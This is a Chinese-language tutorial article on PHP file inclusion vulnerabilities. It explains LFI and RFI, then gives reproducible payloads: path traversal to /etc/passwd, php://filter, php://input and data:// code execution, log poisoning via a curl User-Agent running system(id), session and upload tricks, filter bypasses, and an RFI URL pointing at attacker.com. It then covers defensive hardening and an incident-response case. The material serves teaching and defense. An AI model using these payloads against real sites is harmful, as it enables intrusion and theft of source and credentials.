ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

PHP文件包含漏洞实战:从LFI/RFI伪协议到防御加固

PHP文件包含漏洞实战:从LFI/RFI伪协议到防御加固 审计一套跑了七八年的 PHP 老站时看到include($_GET[mod]..php);这种写法我基本就能判断这站大概率能读到/etc/passwd。文件包含漏洞File Inclusion在 PHP 项目里的出现频率远比很多人想象的高它不像 SQL 注入那样有成熟的参数化方案兜底也不像 XSS 那样有明确的输出编码节点——很多时候它就是一行看起来人畜无害的 include 语句前端传个参数进来文件路径就被拼进去了。这篇内容我打算把文件包含漏洞从原理到利用再到防御完整讲一遍它是怎么产生的、本地包含和远程包含差在哪、伪协议为什么好用、日志和 Session 是怎么被当成跳板的、遇到过滤怎么绕、防御侧又该怎么写才靠谱。适合正在学 Web 安全的入门者、需要做代码审计的开发以及负责应急响应的运维同学。全文会尽量给出可直接复现的步骤和路径而不是停留在概念层面。1. 一行 include 语句背后的攻击面文件包含漏洞的本质1.1 include 与 require 家族的四种写法差异PHP 里负责把另一个文件拉进来执行的语法一共四个include、include_once、require、require_once。名字像但行为差别会直接影响漏洞能不能被利用。include在文件找不到时只抛一个 E_WARNING 警告脚本继续往下跑require找不到文件会直接抛 E_COMPILE_ERROR 致命错误脚本当场终止。这个差别在漏洞利用里很关键如果一个页面在 include 失败后还能继续执行后面的逻辑攻击者就更容易通过报错信息判断路径对不对从而反复试探。_once后缀的两个变体多了一层是否已经包含过的判断防止函数或类被重复定义导致致命错误。它的副作用是如果目标脚本之前已经包含过某个文件你再去包含同名文件可能被跳过这在构造利用链时要注意。真正让文件包含变成漏洞的是路径可控。想象一下这个场景一个 CMS 用?pageabout来控制显示哪个页面后端写成include($_GET[page] . .php);。正常访问?pageabout它去读about.php。但如果传入?page../../../../etc/passwd%00在合适的 PHP 版本下它就会把系统文件读出来。这里的核心问题不是 include 本身而是用户输入直接参与了文件路径的构造且没有任何校验。再往下想一层被包含的文件如果是 PHP 代码它会被当作 PHP 执行如果不是 PHP 代码比如一张图片、一段日志它会被原样输出。这决定了漏洞的两个利用方向——读文件和执行代码。1.2 本地包含与远程包含一条配置开关划出的分界线文件包含按文件来源分成两类本地文件包含LFILocal File Inclusion和远程文件包含RFIRemote File Inclusion。LFI 包含的是服务器本机上的文件比如/etc/passwd、/proc/self/environ、应用的配置文件、日志文件。LFI 本身只能读但如果能配合文件上传、日志写入等手段把可控内容写到本机某个文件里就能升级成代码执行。RFI 包含的是远程服务器上的文件?pagehttp://attacker.com/shell.txt这种。RFI 的威力大得多——只要远程文件里有 PHP 代码包含进来就直接执行。但它的门槛也高需要allow_url_include打开。这里有个容易被搞混的点很多人把allow_url_fopen和allow_url_include混为一谈。allow_url_fopen管的是file_get_contents、fopen这类文件操作函数能不能打开 URLallow_url_include管的是include、require这类包含语法能不能用 URL。PHP 5.2.0 之后allow_url_include默认关闭而且它依赖allow_url_fopen也处于开启状态。所以现实中 RFI 比 LFI 少见得多绝大多数实战场景是围绕 LFI 做文章。区分这两者还有个实际意义当你拿到一个疑似包含点时第一件事应该是判断它是不是 LFI。判断方式很简单传一个本机绝对路径的文件试试看返回内容里有没有文件特征。如果能读本机文件那接下来就是找可控写入点的问题了。1.3 搭一个能复现的测试环境纸上谈兵不如动手。要复现文件包含漏洞最省事的办法是用 Docker 拉一个多版本 PHP 环境因为不同 PHP 版本对空字节截断、伪协议的支持差异很大你需要随时切版本验证。我一般会准备三个版本PHP 5.3能验证空字节截断、PHP 7.4大部分伪协议可用、phar 反序列化经典版本、PHP 8.1观察新版本的行为收敛。每个容器里放一个极简的目标脚本?php $page $_GET[page] ?? home; include($page . .php);然后在同目录下放几个正常文件home.php、about.php方便对照。测试的时候先访问?pagehome确认正常再试?page../../../../etc/passwd。注意这台机器上要有/etc/passwd可读Linux 环境天然满足Windows 环境可以换成C:\Windows\win.ini。提示测试环境一定要放在自己完全掌控的隔离网络里不要拿公网上的任何系统做验证这不是技术问题而是合规底线。搭好环境之后你会发现一个现象直接传/etc/passwd往往读不出来因为脚本最后拼了个.php后缀路径变成了/etc/passwd.php这个文件不存在。这就是为什么实战中要处理后缀拼接这个问题——第 4 章会专门讲怎么绕。2. PHP 伪协议把协议前缀变成隐形后门2.1 php://filter 读源码为什么能绕过大部分黑名单php://filter是文件包含场景里最常用的一个流包装器。它最初的设计目的是让开发者能在读写流的时候加一层过滤器比如把内容转成 base64、把 HTML 标签剥掉。但在文件包含漏洞里它成了一个稳定的读源码工具。典型用法是?pagephp://filter/readconvert.base64-encode/resourceindex.php注意这里的路径后面还跟着脚本自带的.php后缀所以最终的 resource 变成index.php.php就找不到了。实际使用时通常要配合空字节截断老版本或者把 resource 指向一个真实存在的文件名。如果目标脚本是include($_GET[page]..php)而你想读config.php就得想办法让.php后缀不生效这个后面绕过章节细讲。为什么用 base64因为直接把 PHP 源码输出到浏览器源码里的?php ... ?会被 PHP 引擎当成标签执行或吞掉你看不到完整内容。经过 base64 编码后输出是一串纯文本解码就能还原源码。这是审计时的标准动作——先读源码搞清楚业务逻辑再决定下一步怎么走。除了 base64convert.iconv.*系列过滤器也很有用它能在字符集之间转换。近两年安全社区把 iconv 过滤器链玩出了新高度通过精巧的过滤器组合可以在特定条件下实现从读文件到代码执行的跨越。不过这类利用对环境里的 iconv 实现、PHP 版本都有要求实战中别一上来就指望它先老老实实读源码更实际。string.strip_tags过滤器也值得记住它可以去掉内容里的 HTML/PHP 标签。在某些包含场景下它能让被包含的内容只保留文本用于处理一些特殊的输出格式。2.2 php://input 与 data:// 在代码执行场景下的分工如果说php://filter是读那php://input和data://就是写并执行。php://input代表 HTTP 请求体。当包含点允许它时你可以用 POST 方法把 PHP 代码放进请求体?pagephp://input配合在 POST body 里写?php phpinfo(); ?代码就会被执行。它的前提同样是allow_url_includeOn因为 PHP 把php://input也归到远程流里管理。data://更直接把内容编码后内联在 URL 里?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8base64 那串就是?php phpinfo(); ?。data://要求allow_url_includeOn而且部分版本对data://在 include 中的使用还有额外限制需要实际测试。这两个协议的分工很清晰php://input适合 POST 数据可控的场景不需要额外构造 URLdata://适合 URL 长度受限但需要一次性把 payload 带进去的场景。它们的共同点是都跳过了先把文件写到本机这一步直接让可控内容进入执行流程所以在有allow_url_include的环境里威力最大。2.3 phar:// 与 zip:// 的可用性差异phar://是另一个常被提起的协议。它本意是访问 Phar 归档PHP 的一种打包格式内部的资源。在文件包含里如果目标站点存在文件上传功能且能把一个 Phar 归档文件传到服务器上就可以用phar://uploads/xxx.phar/some.txt这种方式读取归档内部的文件。phar://更性感的一面是它能触发反序列化当 Phar 归档的元数据被解析时其中的对象会经历反序列化过程。这在 PHP 7.x 时代是绕过很多过滤的利器因为phar://是很多文件操作函数都支持的前缀。但要注意PHP 8.0 之后这部分自动触发行为有明显收敛利用时需要结合具体版本和调用点仔细验证不能想当然。zip://需要zip扩展支持用法类似zip://uploads/xxx.zip%23shell.txt。这里的%23是#的 URL 编码用来分隔压缩包路径和包内文件名直接用#会被当作 URL 锚点截断。它同样需要先有一个包含恶意代码的压缩包上传上去。这两个协议共同的实战要点是它们都不能凭空造出文件必须有一个上传或其他写入途径作为前置条件。看到别人写phar://利用别以为传个参数就完事了前置的文件落地环节往往才是难点。3. 从读文件到拿 Shell利用链是怎么一层层接起来的3.1 日志文件包含服务器访问日志往往是第一入口LFI 最经典的一条升级路径是包含 Web 服务器日志。原理很简单Web 服务器会把每个请求的访问信息写进日志文件其中包含了 User-Agent、URL 等客户端可控的内容。如果攻击者把一段 PHP 代码塞进 User-Agent这段代码就会被写进日志然后通过 LFI 去包含这个日志文件代码就被执行了。常见日志路径服务器/系统典型日志路径Apache (Debian/Ubuntu)/var/log/apache2/access.logApache (CentOS/RHEL)/var/log/httpd/access_logNginx/var/log/nginx/access.log应用自身日志项目目录下的 logs/、runtime/ 等操作上分两步。第一步构造一个带 PHP 代码的请求curl -A ?php system(id); ? http://target/第二步包含日志?page../../../../var/log/nginx/access.log日志里如果出现了id命令的输出说明利用成功。这里有个坑日志文件通常权限较严Web 进程能不能读取决于日志的属主和权限。很多生产环境把日志权限设成只有 root 和特定组能读这时候这条链就断了。另外日志文件会不断增长你注入的那行可能在文件很靠后的位置包含时如果能配合按行读取或偏移控制会更精准但标准 include 是整文件读入日志过大可能导致超时或内存问题——我遇到过日志文件几十 MB 直接把 PHP 进程打挂的情况排查半天才反应过来是日志太大。3.2 Session 文件包含可控写入的另一条稳定路径比日志更可控的是 Session 文件。PHP 会把用户的 session 数据以序列化形式写到session.save_path指定的目录文件名一般是sess_PHPSESSID。如果应用的某处会把用户输入存进 session比如记录用户名、留言内容那么 session 文件里就出现了可控字符串。攻击者拿到自己的 PHPSESSID 后直接包含对应的 session 文件?page../../../../var/lib/php/sessions/sess_abc123这里的关键是知道 session 存储路径。它可能是/tmp、/var/lib/php/sessions也可能被应用用session_save_path()改到项目目录里。获取方式包括读取 phpinfo、报错信息泄露、默认路径猜测、甚至通过其他漏洞读配置。Session 包含有一个无门槛版本值得单独提session.upload_progress。PHP 默认开启了这个功能session.upload_progress.enabledOn它会在每个文件上传请求的 session 中写入上传进度信息而这部分信息里包含了用户可控的字段。这意味着即使应用没有主动往 session 里存用户输入只要你能发起一个带特定字段的 multipart 上传请求就能把可控内容写进 session 文件然后包含它。这条路让很多看似没有可控写入点的 LFI 重新变得可用。注意session.upload_progress利用的前提是你需要能确定 session 文件名也就是要控制 PHPSESSID。通常可以在 Cookie 里指定一个自定义的 PHPSESSIDPHP 会用它作为 session 名。3.3 文件上传与包含的组合临时文件与图片马当目标有文件上传功能时LFI 的价值会被放大。常见组合有两种。第一种是用临时文件打时间差。PHP 处理文件上传时会先把上传内容存到一个临时文件$_FILES[file][tmp_name]脚本处理完才删除。如果能在这个窗口期内用 LFI 包含那个临时文件就实现了代码执行。难点在于临时文件名是随机的形如/tmp/phpXXXXXX需要一些技巧去枚举或预测而且时间窗口很短对自动化脚本要求高。这条链在实际环境里成功率不稳定我一般把它当成备选方案。第二种是上传一个图片马——把 PHP 代码藏在图片文件里上传后拿到存储路径再用 LFI 包含这个图片。这种方式的优势是内容持久存在没有时间窗口限制。缺点是很多场景下图片目录和 Web 根的关系、文件是否可被包含都需要具体确认。另外要提醒的是单纯的图片马如果不配合包含或解析漏洞本身不会执行它只是一个载体。3.4 利用链卡住时先回头确认这几件事实战中利用链断掉是常态别急着换思路先按顺序排除这几项后缀是否被拼接。如果代码是include($page..php)你包含shell.txt会变成shell.txt.php读不到。先解决后缀问题。路径是否正确。相对路径的基准是脚本当前工作目录不是 URL 对应的目录../的层数要多试几层。权限问题。Web 进程对目标文件有没有读权限这是最容易被忽略的。配置开关。涉及php://input、data://的先确认allow_url_include状态。内容是否被当作 PHP 执行。如果被包含文件里的代码没执行可能整个内容被当成文本输出了或者short_open_tag关掉了导致?不生效换成?php。把这五项过一遍绝大多数利用失败都能定位到原因。4. 目标有过滤时绕过思路的原理拆解4.1 目录遍历序列被替换后怎么补回来很多应用的防护就是在输入里删掉../。最朴素的实现是str_replace(../, , $page)。这种只替换一次的逻辑有天然破绽。如果输入是....//替换掉中间的一个../之后剩下的是../遍历序列被还原了。同理..././、....\/等变体在特定替换逻辑下也可能生效。思路就是构造一个字符串在删除操作删掉其中一个片段之后恰好拼出想要的../。另一类绕过是编码。../的 URL 编码是%2e%2e%2f某些场景下大小写混用%2E%2E%2F也能过。如果解码发生在过滤之后就会出现过滤时看不到遍历序列、进入 include 时又解码回来了的情况。判断的关键在于搞清楚过滤和解码的先后顺序——这只能通过测试和读源码来确认。还有一种思路是利用多余的分隔符比如/etc//passwd、/etc/./passwd在文件系统层面它们和/etc/passwd等价但字符串过滤未必能识别。4.2 后缀拼接场景下的截断与注释技巧前面反复提到后缀拼接问题这里集中讲几种处理方式。空字节截断在 PHP 5.3.4 之前%00可以用来截断后面的内容。?page../../../../etc/passwd%00会被当作/etc/passwd后面的.php被截掉。这个特性很早就被修复了现在只能在老环境里用但了解它有助于看懂老漏洞报告。路径长度截断在部分 Windows 环境配合特定 PHP 版本时如果构造的路径超过系统最大路径长度限制后面的内容会被截断。做法通常是?page../../../../etc/passwd/././././././...拼一大串让总长度超过限制使拼上去的.php被丢弃。这条链和环境强相关成功率不稳定我一般最后才考虑。问号截断如果是远程包含RFI可以这样构造?pagehttp://attacker.com/shell.txt?。URL 里的?之后是查询字符串包含进来的 URL 实际指向shell.txt而脚本拼上去的.php被当成了查询串的一部分。这条路要求allow_url_includeOn限制较多。注释截断用%23#注释掉后面拼接的内容。它能否生效取决于包含操作的底层处理不是所有场景都支持需要测试。4.3 黑名单与白名单破绽位置完全不同过滤方案大致分黑名单和白名单两类它们的破绽位置截然不同。黑名单的思路是禁止危险字符/协议比如禁用..、php://、data://、http://。它的破绽在于名单很难覆盖全面总有新协议、新变体大小写和编码可能绕过PHP://、pHp://而且如果过滤顺序不对编码在过滤之后进行就会出现绕过窗口。你面对黑名单时要做的就是枚举所有可能的协议前缀和编码变体逐一测试。白名单的思路是只允许列表内的值比如if (!in_array($page, [home,about,contact])) exit;。这种防护非常有效因为它直接把用户输入映射到固定的安全值。它常见的破绽不在过滤逻辑本身而在实现细节比如白名单只校验了$_GET[page]却用了$_REQUEST取值或者只校验了参数名却用了数组参数?page[]xxx或者校验完后又把值拼接进路径导致二次污染。面对白名单重点不是绕字符而是找实现上的不一致。我见过一个案例应用用白名单校验但校验函数里写的是in_array($page, $whitelist)而没开严格模式攻击者传?page0PHP 的松散比较把0和某些字符串判等了导致意外进入某个分支。这类问题纯靠读代码才能发现。5. 防御方的加固清单从代码到运行环境5.1 代码层白名单映射是唯一可靠的方案如果让我只给一条建议那就是永远不要把用户输入直接拼进文件路径。正确的做法是用一个映射表把用户的逻辑名翻译成固定的真实路径。?php $pages [ home __DIR__ . /pages/home.php, about __DIR__ . /pages/about.php, contact __DIR__ . /pages/contact.php, ]; $key $_GET[page] ?? home; if (!array_key_exists($key, $pages)) { http_response_code(404); exit(Not found); } include $pages[$key];这个写法好在用户输入只作为数组键参与查找永远不会进入文件路径即使用户传../../etc/passwd也只是查不到这个键直接走 404 分支。它从结构上消灭了路径遍历的可能比任何字符过滤都可靠。如果因为历史原因不能改成映射表退一步的做法是对输入做白名单字符校验只允许字母数字和短横线再用realpath()把路径规范化最后检查规范化后的路径是否落在允许的目录前缀内。注意realpath()对不存在的文件返回 false处理时要小心。5.2 运行环境层open_basedir、allow_url_include 与函数禁用代码层之外PHP 配置和系统配置是第二道防线。open_basedir可以限制 PHP 能访问的目录范围。设置成项目目录后即使代码里出现了遍历序列PHP 也会拒绝访问目录之外的文件。这个配置对 LFI 的遏制效果非常直接建议所有生产环境都配上。allow_url_include保持 Off默认就是 Off能从根上堵住 RFI 和php://input、data://这类远程流。allow_url_fopen在没有明确需求时也建议关掉减少远程资源被滥用的面。关于disable_functions这里要澄清一个常见误解include 是语言结构language construct不是函数disable_functions对它无效。指望用disable_functions禁掉 include 是不现实的。它能做的是限制被包含的代码能调用的危险函数如system、exec、passthru从而降低 RCE 成功后的危害但挡不住漏洞本身。所以它属于减损措施不是防护措施。5.3 权限与日志降低被包含之后的实际危害即使前面的防线都被突破权限控制仍能限制损害范围。Web 进程的账户应该是最小权限账户不能用 root 跑。它不应该能读/etc/shadow、其他应用的配置、私钥文件。日志目录和 Web 目录分开日志文件权限收紧到只有日志进程可读能直接砍掉日志包含这条链。应用自己的敏感文件如.env、数据库配置、备份文件不要放在 Web 可访问目录下也不要让 Web 进程有读权限。这样即使存在 LFI攻击者能读到的也是有限的、非敏感的内容。日志侧还要做一件事把php://filter、data://、../这些特征写进 WAF 规则和日志告警。这些特征在正常业务请求里几乎不会出现一旦出现就是强信号。6. 一次真实排查日志里那串奇怪的请求6.1 告警线索与初步定位有次值班规则平台推了一条告警某站点的 URL 参数里出现了php://filter字样。点开看请求是GET /index.php?pagephp://filter/readconvert.base64-encode/resource../../config/database.php。第一反应是这个站有文件包含漏洞而且已经被人探测。我先把这条请求的完整信息拉出来来源 IP、User-Agent、时间、返回状态码和响应长度。返回长度明显大于正常页面说明很可能真的把配置文件的 base64 内容吐出来了——这意味着漏洞真实存在而且已经被利用。6.2 回溯请求链确认入口与影响范围接着做两件事一是回溯这个 IP 之前的请求看它是怎么找到这个点的二是检查是否有更进一步的利用尝试。回溯发现攻击者先是正常浏览了几个页面然后开始用?page../../../../etc/passwd这类 payload 探测最后才用php://filter读源码。中间还有几次尝试包含日志文件的请求。从时间线看这明显是自动化工具在跑不是人工精挖。然后检查有无代码执行迹象翻 Web 日志里有没有带 PHP 代码的 User-Agent、有没有异常的 POST 请求体、有没有可疑的文件写入操作。幸运的是没发现 RCE 的痕迹攻击者似乎只停留在读文件阶段。6.3 修复后的验证与遗留问题确认漏洞点后定位到代码某个老模块用include($_GET[page] . .php)拼接路径。修复方案直接改成映射表把原来支持的所有页面列进去。改完要验证三件事正常功能是否还能访问全部页面都能打开、原 payload 是否失效php://filter、../../都返回 404、有没有其他类似写法全项目搜include和require的参数拼接。遗留问题有两个。一是日志文件在漏洞存在期间可能已被读取里面有没有敏感信息泄露需要评估二是这个站还有几个老模块是同一批人写的风格类似需要一起排查。这次事件之后我把文件包含加进了团队的代码审计 checklist凡是出现变量拼接路径的 include一律要求整改。我个人在排查这类漏洞时体会最深的一点是告警的价值不在于它命中了什么而在于它逼你去把整条利用链想清楚。只修一个点容易把同类问题一次清干净靠的是把触发条件、利用手法、影响范围三件事都捋一遍。真要说个小技巧我习惯在修复后把原始的利用 payload 全部重放一遍一个不落地确认返回 404 或者正常页面这样才算真正闭环。
返回列表